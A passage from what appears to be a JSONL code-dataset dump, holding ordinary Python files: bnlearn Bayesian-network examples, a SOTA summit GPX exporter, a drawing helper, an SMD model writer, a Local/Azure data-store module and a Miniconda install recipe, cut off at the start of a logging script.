bn.inference.fit(DAG, variables=['bronc','lung'], evidence={'smoke':1, 'xray':0}, verbose=3)\n# q4 = bn.inference.fit(DAG, variables=['bronc','lung','xray'], evidence={'smoke':1}, verbose=3)\n# q4 = bn.inference.fit(DAGnew, variables=['bronc','lung'], evidence={'smoke':0, 'xray':0})\n\n# pd.DataFrame(index=q4.variables, data=q4.values, columns=q4.variables)\n\n# %% Example compare networks\n# Load asia DAG\nimport bnlearn as bn\nDAG = bn.import_DAG('asia')\n# plot ground truth\nG = bn.plot(DAG)\n# Sampling\ndf = bn.sampling(DAG, n=10000)\n\n# Structure learning\nmodel = bn.structure_learning.fit(df, verbose=0)\n# Structure learning of sampled dataset\nmodel_sl = bn.structure_learning.fit(df, methodtype='hc', scoretype='bic')\n# Plot based on structure learning of sampled data\nbn.plot(model_sl, pos=G['pos'], interactive=True, params = {'height':'800px'})\n# Compare networks and make plot\nbn.compare_networks(model, model_sl, pos=G['pos'])\n\n\n# Structure learning with black list\nmodel_wl = bn.structure_learning.fit(df, methodtype='hc', white_list=['asia','tub','bronc','xray','smoke'], bw_list_method='edges')\nbn.plot(model_wl, pos=G['pos'])\n\nmodel_bl = bn.structure_learning.fit(df, methodtype='hc', black_list=['asia','tub'], bw_list_method='edges')\nbn.plot(model_bl, pos=G['pos'])\n\n# Compare models\nbn.compare_networks(model_bl, model_wl, pos=G['pos'])\n\n\n# %% PARAMETER LEARNING\nimport bnlearn as bn\ndf = bn.import_example()\nDAG = bn.import_DAG('sprinkler', CPD=False)\nmodel_update = bn.parameter_learning.fit(DAG, df)\nbn.plot(model_update)\n\nmodel_true = bn.import_DAG('sprinkler', CPD=True)\n\n# %% Example with one-hot RAW dataset: sprinkler.\n# Load processed data\nDAG = bn.import_DAG('sprinkler')\n\n# Read raw data and process\ndf_raw = bn.import_example(data='sprinkler')\ndf = bn.df2onehot(df_raw, verbose=0)[1]\ndf.columns=df.columns.str.replace('_1.0','')\n\n# Learn structure\nDAG = bn.structure_learning.fit(df)\n# Learn CPDs\nmodel = bn.parameter_learning.fit(DAG, df)\nq1 = bn.inference.fit(model, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\nq2 = bn.inference.fit(model, variables=['Wet_Grass','Rain'], evidence={'Sprinkler':1})\n\n\nq2.values\nq2.variables\nq2.state_names\nq2.name_to_no\nq2.no_to_name,\n\n# %% LOAD BIF FILE\nDAG = bn.import_DAG('water', verbose=0)\ndf = bn.sampling(DAG, n=1000)\nmodel_update = bn.parameter_learning.fit(DAG, df)\nG = bn.plot(model_update)\nbn.print_CPD(model_update)\n\n\n# %% INFERENCE\nDAG = bn.import_DAG('sprinkler')\nbn.plot(DAG)\nq1 = bn.inference.fit(DAG, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\nq2 = bn.inference.fit(DAG, variables=['Wet_Grass','Rain'], evidence={'Sprinkler': 1})\n\nprint(q1)\nprint(q1.df)\nprint(q2)\nprint(q2.df)\n\n\n# %% INFERENCE 2\nDAG = bn.import_DAG('asia')\n# DAG = bn.import_DAG('sprinkler')\nbn.plot(DAG)\nq1 = bn.inference.fit(DAG, variables=['lung'], evidence={'bronc':1, 'smoke':1})\nq2 = bn.inference.fit(DAG, variables=['bronc','lung'], evidence={'smoke':1, 'xray':0, 'tub':1})\nq3 = bn.inference.fit(DAG, variables=['lung'], evidence={'bronc':1, 'smoke':1})\n\nprint(q1)\nprint(q1.df)\nprint(q2)\nprint(q2.df)\n\n\n# %% Example with mixed dataset: titanic case\nimport bnlearn as bn\n# Load example mixed dataset\ndf_raw = bn.import_example(data='titanic')\n# Convert to onehot\ndfhot, dfnum = bn.df2onehot(df_raw)\n# Structure learning\n# DAG = bn.structure_learning.fit(dfnum, methodtype='cl', black_list=['Embarked','Parch','Name'], root_node='Survived', bw_list_method='nodes')\nDAG = bn.structure_learning.fit(dfnum, methodtype='hc', black_list=['Embarked','Parch','Name'], bw_list_method='edges')\n# Plot\nG = bn.plot(DAG)\n# Parameter learning\nmodel = bn.parameter_learning.fit(DAG, dfnum)\n# Make inference\nq1 = bn.inference.fit(model, variables=['Survived'], evidence={'Sex':True, 'Pclass':True}, verbose=0)\nq2 = bn.inference.fit(model, variables=['Survived'], evidence={'Sex':0}, verbose=0)\n\nprint(q1)\nprint(q1.df)\n# bn.print_CPD(model)\n\n# Create test dataset\nXtest = bn.sampling(model, n=100)\n# Predict the whole dataset\nPout = bn.predict(model, Xtest, variables=['Survived'])\n\n\n# %%\nimport bnlearn as bn\nDAG = bn.import_DAG('sprinkler', CPD=True)\n# DAG = bn.import_DAG('asia')\nbn.plot(DAG)\nbn.print_CPD(DAG)\n\ndf = bn.sampling(DAG, n=1000)\nvector = bn.adjmat2vec(DAG['adjmat'])\nadjmat = bn.vec2adjmat(vector['source'], vector['target'])\n\n# %%\nfrom pgmpy.factors.discrete import TabularCPD\nedges = [('A', 'E'),\n ('S', 'E'),\n ('E', 'O'),\n ('E', 'R'),\n ('O', 'T'),\n ('R', 'T')]\n\nDAG = bn.make_DAG(edges)\nbn.plot(DAG)\n\n\ncpd_A = TabularCPD(variable='A', variable_card=3, values=[[0.3], [0.5], [0.2]])\nprint(cpd_A)\ncpd_S = TabularCPD(variable='S', variable_card=2, values=[[0.6],[ 0.4]])\nprint(cpd_S)\ncpd_E = TabularCPD(variable='E', variable_card=2,\n values=[\n [0.75,0.72,0.88,0.64,0.70,0.90],\n [0.25,0.28,0.12,0.36,0.30,0.10]\n ],\n evidence=['A', 'S'],\n evidence_card=[3, 2])\nprint(cpd_E)\n\n\nDAG = bn.make_DAG(DAG, CPD=cpd_A, checkmodel=False)\nbn.print_CPD(DAG, checkmodel=False)\n\n# %% Create a simple DAG:\n# Building a causal DAG\nimport bnlearn as bn\nfrom pgmpy.factors.discrete import TabularCPD\n\nedges = [('Cloudy', 'Sprinkler'),\n ('Cloudy', 'Rain'),\n ('Sprinkler', 'Wet_Grass'),\n ('Rain', 'Wet_Grass')]\n\n# DAG = bn.import_DAG('sprinkler')\nDAG = bn.make_DAG(edges)\nbn.plot(DAG)\nbn.print_CPD(DAG)\n\n# Cloudy\ncpt_cloudy = TabularCPD(variable='Cloudy', variable_card=2, values=[[0.3], [0.7]])\nprint(cpt_cloudy)\n\n# Sprinkler\ncpt_sprinkler = TabularCPD(variable='Sprinkler', variable_card=2,\n values=[[0.4, 0.9], [0.6, 0.1]],\n evidence=['Cloudy'], evidence_card=[2])\nprint(cpt_sprinkler)\n\n# Rain\ncpt_rain = TabularCPD(variable='Rain', variable_card=2,\n values=[[0.8, 0.2], [0.2, 0.8]],\n evidence=['Cloudy'], evidence_card=[2])\nprint(cpt_rain)\n\n# Wet Grass\ncpt_wet_grass = TabularCPD(variable='Wet_Grass', variable_card=2,\n values=[[1, 0.1, 0.1, 0.01],\n [0, 0.9, 0.9, 0.99]],\n evidence=['Sprinkler', 'Rain'],\n evidence_card=[2, 2])\nprint(cpt_wet_grass)\n\n# The make_DAG function will required a CPD for each node. If this is not the case, use the checkmodel=False\nDAG = bn.make_DAG(DAG, CPD=cpt_cloudy, checkmodel=False)\nDAG = bn.make_DAG(DAG, CPD=[cpt_cloudy, cpt_sprinkler], checkmodel=False)\nDAG = bn.make_DAG(DAG, CPD=[cpt_cloudy, cpt_sprinkler, cpt_rain, cpt_wet_grass])\nbn.print_CPD(DAG)\n\nq1 = bn.inference.fit(DAG, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\n\n# %% Example from sphinx\n# Import dataset\n# Import the library\nimport bnlearn as bn\n\n# Define the network structure\nedges = [('Cloudy', 'Sprinkler'),\n ('Cloudy', 'Rain'),\n ('Sprinkler', 'Wet_Grass'),\n ('Rain', 'Wet_Grass')]\n\n# Make the actual Bayesian DAG\nDAG = bn.make_DAG(edges)\n\nbn.plot(DAG)\n\n\nbn.print_CPD(DAG)\n\n# Import the library\nfrom pgmpy.factors.discrete import TabularCPD\n\n# Cloudy\ncpt_cloudy = TabularCPD(variable='Cloudy', variable_card=2, values=[[0.5], [0.5]])\nprint(cpt_cloudy)\n\n# Sprinkler\ncpt_sprinkler = TabularCPD(variable='Sprinkler', variable_card=2,\n values=[[0.5, 0.9],\n [0.5, 0.1]],\n evidence=['Cloudy'], evidence_card=[2])\nprint(cpt_sprinkler)\n\n# Rain\ncpt_rain = TabularCPD(variable='Rain', variable_card=2,\n values=[[0.8, 0.2],\n [0.2, 0.8]],\n evidence=['Cloudy'], evidence_card=[2])\nprint(cpt_rain)\n\n# Wet Grass\ncpt_wet_grass = TabularCPD(variable='Wet_Grass', variable_card=2,\n values=[[1, 0.1, 0.1, 0.01],\n [0, 0.9, 0.9, 0.99]],\n evidence=['Sprinkler', 'Rain'],\n evidence_card=[2, 2])\nprint(cpt_wet_grass)\n\nDAG = bn.make_DAG(DAG, CPD=[cpt_cloudy, cpt_sprinkler, cpt_rain, cpt_wet_grass])\n\n\nbn.print_CPD(DAG)\n\n\nq1 = bn.inference.fit(DAG, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\n\n\n# %% Example to create a Bayesian Network, learn its parameters from data and perform the inference.\n\nimport bnlearn as bn\n\n# Import example dataset\ndf = bn.import_example('sprinkler')\n\n# Define the network structure\nedges = [('Cloudy', 'Sprinkler'),\n ('Cloudy', 'Rain'),\n ('Sprinkler', 'Wet_Grass'),\n ('Rain', 'Wet_Grass')]\n\n# Make the actual Bayesian DAG\nDAG = bn.make_DAG(edges)\n# [BNLEARN] Bayesian DAG created.\n\n# Print the CPDs\nbn.print_CPD(DAG)\n# [bn.print_CPD] No CPDs to print. Use bn.plot(DAG) to make a plot.\n\n# Plot the DAG\nbn.plot(DAG)\n\n# Parameter learning on the user-defined DAG and input data using maximumlikelihood\nDAGmle = bn.parameter_learning.fit(DAG, df, methodtype='maximumlikelihood')\nDAGbay = bn.parameter_learning.fit(DAG, df, methodtype='bayes')\n\n# Print the learned CPDs\nbn.print_CPD(DAGmle)\nbn.print_CPD(DAGbay)\n\n# Make inference\nq1 = bn.inference.fit(DAGmle, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\nq1 = bn.inference.fit(DAGbay, variables=['Wet_Grass'], evidence={'Rain':1, 'Sprinkler':0, 'Cloudy':1})\n\nprint(q1.values)\n\n# %%","sub_path":"bnlearn/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":21506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"273568734","text":"from sota_api import SotaApi\nimport argparse\nimport gpxpy\nimport gpxpy.gpx\n\ndef process_region(sota_api, association, region, output_file_name):\n region_data = sota_api.retrieve_region(association, region)\n\n print(f\"Found {len(region_data['summits'])} summits in region {association}/{region}\")\n\n gpx = gpxpy.gpx.GPX()\n\n for summit in region_data['summits']:\n waypoint = gpxpy.gpx.GPXWaypoint(latitude = summit[\"latitude\"], \n longitude = summit[\"longitude\"],\n elevation = summit[\"altM\"],\n name = f\"{summit['summitCode']}:{summit['points']}\",\n description = f\"{summit['name']} - {summit['points']}\",\n symbol = \"Summit\"\n )\n \n waypoint.link = f\"https://summits.sota.org.uk/summit/{summit['summitCode']}\"\n\n gpx.waypoints.append(waypoint)\n\n with open(output_file_name, \"w\") as output_file:\n output_file.write(gpx.to_xml())\n\nif __name__ == \"__main__\":\n\n argument_parser = argparse.ArgumentParser()\n argument_parser.add_argument('--association', default=\"W4K\",\n help=\"Association\")\n argument_parser.add_argument('--region', default=None,\n help=\"Region\")\n argument_parser.add_argument('--output', default=None, \n type=str, help='Output file name')\n\n args = argument_parser.parse_args()\n\n association = args.association\n region = args.region\n output_file_name = args.output or f\"{association}-{region}.gpx\"\n\n sota_api = SotaApi()\n\n if region is not None:\n process_region(sota_api, association, region, output_file_name)\n else:\n assoociation_data = sota_api.retrieve_association(association)\n\n for region in assoociation_data[\"regions\"]:\n region_code = region[\"regionCode\"]\n output_file_name = f\"{association}-{region_code}.gpx\"\n print(f\"Retrieving {association} {region_code} into {output_file_name}\")\n process_region(sota_api, association, region_code, output_file_name)","sub_path":"sota_qsl/sota_gpx.py","file_name":"sota_gpx.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158878875","text":"import simple_draw as sd\n\n\ndef draw_smile(color=sd.COLOR_DARK_GREEN, open_eye=1):\n bottom_left = sd.get_point(421, 70)\n top_right = sd.get_point(479, 120)\n\n left_eye = sd.get_point(437, 100)\n right_eye = sd.get_point(463, 100)\n\n smile_left_corner_center = sd.get_point(442, 85)\n smile_right_corner_center = sd.get_point(458, 85)\n\n smile_left_corner_left_part = sd.get_point(432, 90)\n smile_right_corner_left_part = sd.get_point(442, 85)\n\n smile_left_corner_right_part = sd.get_point(458, 85)\n smile_right_corner_right_part = sd.get_point(468, 90)\n\n sd.line(smile_left_corner_center, smile_right_corner_center, color=color, width=2)\n sd.line(smile_left_corner_left_part, smile_right_corner_left_part, color=color, width=2)\n sd.line(smile_left_corner_right_part, smile_right_corner_right_part, color=color, width=2)\n\n sd.ellipse(bottom_left, top_right, color=color, width=3)\n sd.circle(left_eye, radius=6, width=1, color=color)\n\n if open_eye == 1:\n sd.circle(right_eye, radius=6, width=0, color=sd.COLOR_YELLOW)\n sd.circle(right_eye, radius=6, width=open_eye, color=color)\n else:\n sd.circle(right_eye, radius=6, width=open_eye, color=color)\n","sub_path":"lesson_005/draw_object/smile.py","file_name":"smile.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427891717","text":"\r\n# Partial SMD Model Writer Lib\r\n#\r\n# Helps create valid .smd model files (static only)\r\n# Using: Python-2.5+ (python.org)\r\n#\r\n\r\nfrom __future__ import with_statement\r\n\r\nclass Meta(object): pass\r\nclass Objects(object): pass\r\n\r\n# SMD string formatter for meta information sections\r\nMeta.Header = \\\r\n'''version 1\r\nnodes\r\n 0 \"root\" -1\r\nend\r\nskeleton\r\n time 0\r\n 0 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000\r\nend\r\ntriangles\r\n'''\r\n\r\nMeta.Footer = '''end'''\r\n\r\n# SMD string formatter for a single triangle\r\nMeta.Triangle = \\\r\n'''%s\r\n0 %s %s %s %s %s %s %s %s\r\n0 %s %s %s %s %s %s %s %s\r\n0 %s %s %s %s %s %s %s %s\r\n'''\r\n\r\n# 3D Vector (x, y, z)\r\nclass Vec3(object):\r\n\r\n # Constructor\r\n def __init__(self, x, y, z):\r\n self.x, self.y, self.z = x, y, z\r\n\r\n# Normal vectors\r\nVec3.Up = Vec3(0, 0, 1)\r\nVec3.Down = Vec3(0, 0, -1)\r\nVec3.Backward = Vec3(-1, 0, 0)\r\nVec3.Forward = Vec3(1, 0, 0)\r\nVec3.Left = Vec3(0, -1, 0)\r\nVec3.Right = Vec3(0, 1, 0)\r\nVec3.Empty = Vec3(0, 0, 0)\r\n \r\n# UV Texture co-ordinates (u, v)\r\nclass UV(object):\r\n\r\n # Constructor\r\n def __init__(self, u, v):\r\n self.u, self.v = u, v\r\n \r\n# 3D SMD Model API \r\nclass Model(object):\r\n\r\n # Constructor\r\n def __init__(self, file_name):\r\n self.file = file_name\r\n self.objects = list()\r\n \r\n # Adds an object to the model and returns its instance\r\n def create(self, obj):\r\n if issubclass(obj, ObjectMaker_TriangularFace):\r\n self.objects.append(obj())\r\n return self.objects[-1]\r\n else: raise TypeError('Invalid object type')\r\n \r\n # Saves the SMD file\r\n def save(self):\r\n with open(self.file, 'w') as f:\r\n f.write(Meta.Header)\r\n for obj in self.objects:\r\n f.write(obj.get_triangles())\r\n f.write(Meta.Footer)\r\n \r\n# Base SMD triangle drawing code\r\nclass ObjectMaker_TriangularFace(object):\r\n\r\n # Constructor\r\n def __init__(self):\r\n self.triangles = str()\r\n \r\n # Write a triangle in the SMD format\r\n def draw_triangle(self, mat, vp1, vp2, vp3, vn1, vn2, vn3, uv1, uv2, uv3):\r\n self.triangles += Meta.Triangle % (\r\n mat,\r\n vp1.x, vp1.y, vp1.z, vn1.x, vn1.y, vn1.z, uv1.u, uv1.v,\r\n vp2.x, vp2.y, vp2.z, vn2.x, vn2.y, vn2.z, uv2.u, uv2.v,\r\n vp3.x, vp3.y, vp3.z, vn3.x, vn3.y, vn3.z, uv3.u, uv3.v)\r\n \r\n # Return all triangle data (ie. model data)\r\n def get_triangles(self):\r\n return self.triangles\r\n\r\n# Model.create's public accessor wrapper for the ObjectMaker_TriangularFace class\r\nObjects.TriangularFace = ObjectMaker_TriangularFace\r\n\r\n# Primitive SMD cube drawing code\r\nclass ObjectMaker_Cube(ObjectMaker_TriangularFace):\r\n\r\n # Constructor\r\n def __init__(self):\r\n self.triangles = str()\r\n \r\n # Draw the triangles necessary to create a square face\r\n def draw_face(self, vbl, vbr, vtl, vtr, vnorms, mat, uvs, reversed_edge = False):\r\n if reversed_edge:\r\n self.draw_triangle(mat,\r\n vtr, vbr, vbl, vnorms, vnorms, vnorms,\r\n UV(1, 0) if not uvs else uvs['top-right'],\r\n UV(1, 1) if not uvs else uvs['bottom-right'],\r\n UV(0, 1) if not uvs else uvs['bottom-left'])\r\n self.draw_triangle(mat,\r\n vbl, vtl, vtr, vnorms, vnorms, vnorms,\r\n UV(0, 1) if not uvs else uvs['bottom-left'],\r\n UV(0, 0) if not uvs else uvs['top-left'],\r\n UV(1, 0) if not uvs else uvs['top-right'])\r\n else:\r\n self.draw_triangle(mat,\r\n vtl, vtr, vbr, vnorms, vnorms, vnorms,\r\n UV(0, 0) if not uvs else uvs['top-left'],\r\n UV(1, 0) if not uvs else uvs['top-right'],\r\n UV(1, 1) if not uvs else uvs['bottom-right'])\r\n self.draw_triangle(mat,\r\n vbr, vbl, vtl, vnorms, vnorms, vnorms,\r\n UV(1, 1) if not uvs else uvs['bottom-right'],\r\n UV(0, 1) if not uvs else uvs['bottom-left'],\r\n UV(0, 0) if not uvs else uvs['top-left'])\r\n \r\n # Draw the square faces necessary to create a cube\r\n def draw_cube(self, v1, v2, mats, uvs = False, ex_faces = list()):\r\n # top face\r\n bl = Vec3(v1.x, v1.y, v1.z + v2.z) # bottom left vertex (top)\r\n br = Vec3(v1.x, v1.y + v2.y, v1.z + v2.z) # bottom right vertex (top)\r\n tl = Vec3(v1.x + v2.x, v1.y, v1.z + v2.z) # top left vertex (top)\r\n tr = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z + v2.z) # top right vertex (top)\r\n if not 'top' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Up,\r\n mats if isinstance(mats, str) else mats['top'], None if not uvs else uvs['top']) \r\n # bottom face\r\n bl = Vec3(v1.x + v2.x, v1.y, v1.z) # bottom left vertex (bottom)\r\n br = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z) # bottom right vertex (bottom)\r\n tl = Vec3(v1.x, v1.y, v1.z) # top left vertex (bottom)\r\n tr = Vec3(v1.x, v1.y + v2.y, v1.z) # top right vertex (bottom)\r\n if not 'bottom' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Down,\r\n mats if isinstance(mats, str) else mats['bottom'], None if not uvs else uvs['bottom'])\r\n # front face\r\n bl = Vec3(v1.x, v1.y, v1.z) # bottom left vertex (front)\r\n br = Vec3(v1.x, v1.y + v2.y, v1.z) # bottom right vertex (front)\r\n tl = Vec3(v1.x, v1.y, v1.z + v2.z) # top left vertex (front)\r\n tr = Vec3(v1.x, v1.y + v2.y, v1.z + v2.z) # top right vertex (front)\r\n if not 'front' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Backward,\r\n mats if isinstance(mats, str) else mats['front'], None if not uvs else uvs['front'])\r\n # right-side face\r\n bl = Vec3(v1.x, v1.y + v2.y, v1.z) # bottom left vertex (right)\r\n br = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z) # bottom right vertex (right)\r\n tl = Vec3(v1.x, v1.y + v2.y, v1.z + v2.z) # top left vertex (right)\r\n tr = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z + v2.z) # top right vertex (right)\r\n if not 'right' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Right,\r\n mats if isinstance(mats, str) else mats['right'], None if not uvs else uvs['right'], True)\r\n # back face\r\n bl = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z) # bottom left vertex (back)\r\n br = Vec3(v1.x + v2.x, v1.y, v1.z) # bottom right vertex (back)\r\n tl = Vec3(v1.x + v2.x, v1.y + v2.y, v1.z + v2.z) # top left vertex (back)\r\n tr = Vec3(v1.x + v2.x, v1.y, v1.z + v2.z) # top right vertex (back)\r\n if not 'back' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Forward,\r\n mats if isinstance(mats, str) else mats['back'], None if not uvs else uvs['back'])\r\n # left-side face\r\n bl = Vec3(v1.x + v2.x, v1.y, v1.z) # bottom left vertex (back)\r\n br = Vec3(v1.x, v1.y, v1.z) # bottom right vertex (back)\r\n tl = Vec3(v1.x + v2.x, v1.y, v1.z + v2.z) # top left vertex (back)\r\n tr = Vec3(v1.x, v1.y, v1.z + v2.z) # top right vertex (back)\r\n if not 'left' in ex_faces: self.draw_face(bl, br, tl, tr, Vec3.Left,\r\n mats if isinstance(mats, str) else mats['left'], None if not uvs else uvs['left'], True)\r\n \r\n# Model.create's public accessor wrapper for the ObjectMaker_Cube class\r\nObjects.Cube = ObjectMaker_Cube\r\n\r\n","sub_path":"png2smd/psmdlib.py","file_name":"psmdlib.py","file_ext":"py","file_size_in_byte":7448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359446968","text":"\"\"\"\nConcrete methods to read and write data from/to the chosen storage backend\n\"\"\"\n\nimport os\nimport json\nimport pyarrow as pa\n\nfrom azure.storage.blob import BlockBlobService\n\nfrom .utils import filter_data, convert_to_json, convert_to_arrow\nfrom .exceptions import DataStoreException\ntry:\n from .config import AzureConfig\nexcept:\n print(\"File config.py not found. Copy config.py.template and fill in your Azure storage account credentials in order to use Azure blob storage backend.\")\n\n\nclass LocalStore(object):\n def __init__(self):\n if os.name == \"posix\":\n self.dirname = \"/tmp/\"\n else:\n self.dirname = \"%temp%\"\n\n\n def write(self, data, cell_hash, frame_name):\n \"\"\"\n store data as a file on local disk\n \"\"\"\n filename = os.path.join(self.dirname, cell_hash, frame_name)\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n if isinstance(data, pa.lib.Buffer) or isinstance(data, bytes):\n outfile = open(filename,\"wb\")\n elif isinstance(data, str):\n outfile = open(filename,\"w\")\n elif isinstance(data, list) or isinstance(data, dict):\n data = json.dumps(data)\n outfile = open(filename,\"w\")\n else:\n raise DataStoreException(\"Trying to write unknown data type\")\n outfile.write(data)\n outfile.close()\n return True\n\n\n def read(self, cell_hash, frame_name):\n \"\"\"\n retrieve data from local disk\n \"\"\"\n filename = os.path.join(self.dirname, cell_hash, frame_name)\n if not os.path.exists(filename):\n raise DataStoreException(\"Trying to read non-existent file\")\n try:\n f = open(filename)\n data = f.read()\n f.close()\n except(UnicodeDecodeError):\n f = open(filename,\"rb\")\n data = f.read()\n f.close()\n return data\n\n\n\nclass AzureStore(object):\n \"\"\"\n Interface to Azure blob storage.\n Needs a file config.py containing credentials for Azure storage account.\n \"\"\"\n def __init__(self):\n self.bbs = BlockBlobService(account_name = AzureConfig.account_name,\n account_key = AzureConfig.account_key)\n self.container_name = AzureConfig.container_name\n\n\n def write(self, data, cell_hash, frame_name):\n \"\"\"\n Write a blob to //\n \"\"\"\n if isinstance(data, str):\n self.bbs.create_blob_from_text(self.container_name, \"{}/{}\".format(cell_hash, frame_name), data)\n elif isinstance(data, list) or isinstance(data, dict): # JSON object - convert to a string\n data = json.dumps(data)\n self.bbs.create_blob_from_text(self.container_name, \"{}/{}\".format(cell_hash, frame_name), data)\n else: # assume it's binary data\n self.bbs.create_blob_from_bytes(self.container_name, \"{}/{}\".format(cell_hash, frame_name), data)\n return True\n\n\n def read(self, cell_hash, frame_name):\n \"\"\"\n Read a blob from blob storage //\n We don't know if it is json string or binary arrow format, so try getting it as text, and if it doesn't work,\n assume bytes.\n \"\"\"\n try:\n blob_data = self.bbs.get_blob_to_text(self.container_name,\"{}/{}\".format(cell_hash, frame_name))\n except(UnicodeDecodeError):\n blob_data = self.bbs.get_blob_to_bytes(self.container_name,\"{}/{}\".format(cell_hash, frame_name))\n return blob_data.content\n\n\n\n\nclass Store(object):\n \"\"\"\n This is the class of which the app has an instance, and in turn this owns a concrete 'store' which is either\n a backend for local storage, or one for cloud storage.\n \"\"\"\n\n def __init__(self, backend):\n if backend == \"Local\":\n self.store = LocalStore()\n elif backend == \"Azure\":\n self.store = AzureStore()\n else:\n raise DataStoreException(\"Missing or Unknown storage backend requested\")\n\n\n def write(self, data, cell_hash, frame_name):\n \"\"\"\n Tell the selected backend to write the provided data as-is, to /cell_hash/frame_name\n \"\"\"\n return self.store.write(data,cell_hash, frame_name)\n\n\n def read(self, cell_hash, frame_name, data_format=None, nrow=None):\n \"\"\"\n Tell the selected backend to read the file, and filter if required.\n \"\"\"\n data = self.store.read(cell_hash, frame_name)\n if data_format == \"application/json\":\n data = convert_to_json(data)\n elif data_format == \"application/octet-stream\":\n data = convert_to_arrow(data)\n if nrow:\n data = filter_data(data, nrow)\n return data\n","sub_path":"server/data-store/wrattler_data_store/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627982369","text":"# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Functions to work with Miniconda python environment.\n\nSee http://conda.pydata.org/miniconda.html\n\"\"\"\n\nfrom recipe_engine import recipe_api\n\n\nclass CondaEnv(object):\n def __init__(self, module_api, version, path):\n self._module_api = module_api\n self.version = version\n self.path = path\n self._wiped = False\n\n def __enter__(self, *_args):\n return self\n\n def __exit__(self, *_args):\n self.wipe()\n\n @property\n def conda_exe(self):\n \"\"\"Path to 'conda' executable.\"\"\"\n if self._module_api.m.platform.is_win:\n return self.path.join('Scripts', 'conda.exe')\n return self.path.join('bin', 'conda')\n\n def install(self, pkg):\n \"\"\"Installs a conda package into the environment.\"\"\"\n return self._call(['install', pkg])\n\n def convert_to_cipd_package(self, package_name, output_file):\n \"\"\"Packages Conda environment as CIPD package.\n\n It also breaks it in the process (by irreversibly mutating it to be\n prefix independent, as much as possible). It is not possible to install\n new packages into the environment once it has been mutated.\n\n Args:\n package_name: name of the CIPD package, 'infra/conda_python/linux-amd64'.\n output_file: path to put *.cipd package to.\n \"\"\"\n self._call(['clean', '--tarballs', '--index-cache', '--packages'])\n self._module_api.m.python(\n 'make conda env location independent',\n self._module_api.resource('butcher_conda.py'),\n args=[self.path])\n self._module_api.m.cipd.build(\n input_dir=self.path,\n output_package=output_file,\n package_name=package_name,\n install_mode='copy')\n\n def wipe(self):\n \"\"\"Wipes the directory with Conda installation.\"\"\"\n if not self._wiped:\n self._wiped = True\n self._module_api.m.file.rmtree('removing conda', self.path)\n\n def _call(self, cmd):\n with self._module_api.m.context(env={'PYTHONPATH': None}):\n return self._module_api.m.step(\n ' '.join(['conda'] + cmd),\n [self.conda_exe] + cmd + ['--yes'])\n\n\nclass CondaApi(recipe_api.RecipeApi):\n def install(self, version, path):\n \"\"\"Downloads Miniconda installer for given version and executes it.\n\n Args:\n version: version of Miniconda to install, e.g. 'Miniconda2-3.18.3'.\n path: prefix to install Miniconda into.\n\n Returns:\n Instance of CondaEnv, that also optionally acts as context manager that\n deletes the environment on exit.\n \"\"\"\n # Construct URL to installer. See https://repo.continuum.io/miniconda/.\n os = {\n 'linux': 'Linux',\n 'mac': 'MacOSX',\n 'win': 'Windows',\n }[self.m.platform.name]\n arch = {\n 32: 'x86',\n 64: 'x86_64',\n }[self.m.platform.bits]\n ext = '.exe' if self.m.platform.is_win else '.sh'\n url = (\n 'https://repo.continuum.io/miniconda/%s-%s-%s%s' %\n (version, os, arch, ext))\n\n # Fetch installer into temp directory and install Conda to 'path'.\n # We acknowledge the license agreement.\n tmp = self.m.path.mkdtemp('conda')\n installer = tmp.join(url[url.rfind('/')+1:])\n try:\n self.m.url.get_file(\n url,\n installer,\n step_name='fetch miniconda installer')\n # See http://conda.pydata.org/docs/help/silent.html\n if self.m.platform.is_win:\n install_cmd = [\n installer, '/InstallationType=JustMe', '/AddToPath=0',\n '/RegisterPython=0', '/S', '/D=' + str(path),\n ]\n else:\n install_cmd = ['/bin/bash', installer, '-b', '-p', path]\n with self.m.context(env={'PYTHONPATH': ''}):\n self.m.step('install miniconda', install_cmd)\n return CondaEnv(self, version, path)\n finally:\n self.m.file.rmtree('remove miniconda installer', tmp)\n","sub_path":"recipes/recipe_modules/conda/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316569777","text":"# -*- coding: utf-8 -*-\nimport logging,os\nimport smtplib\nimport yaml\nfrom logging.handlers import RotatingFileHandler\nfrom email.mime.text import MIMEText\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nRUN_LOG_FILE = os.path.join(BASE_DIR, 'log', 'check_cid_timout.access.log')\nUNNORMAL_CID_FILE = os.path.join(BASE_DIR, 'log', 'unnormal_cid_file.txt')\nERROR_LOG_FILE = os.path.join(BASE_DIR, 'log', 'check_cid_timout.error.log')\nconfig_file = 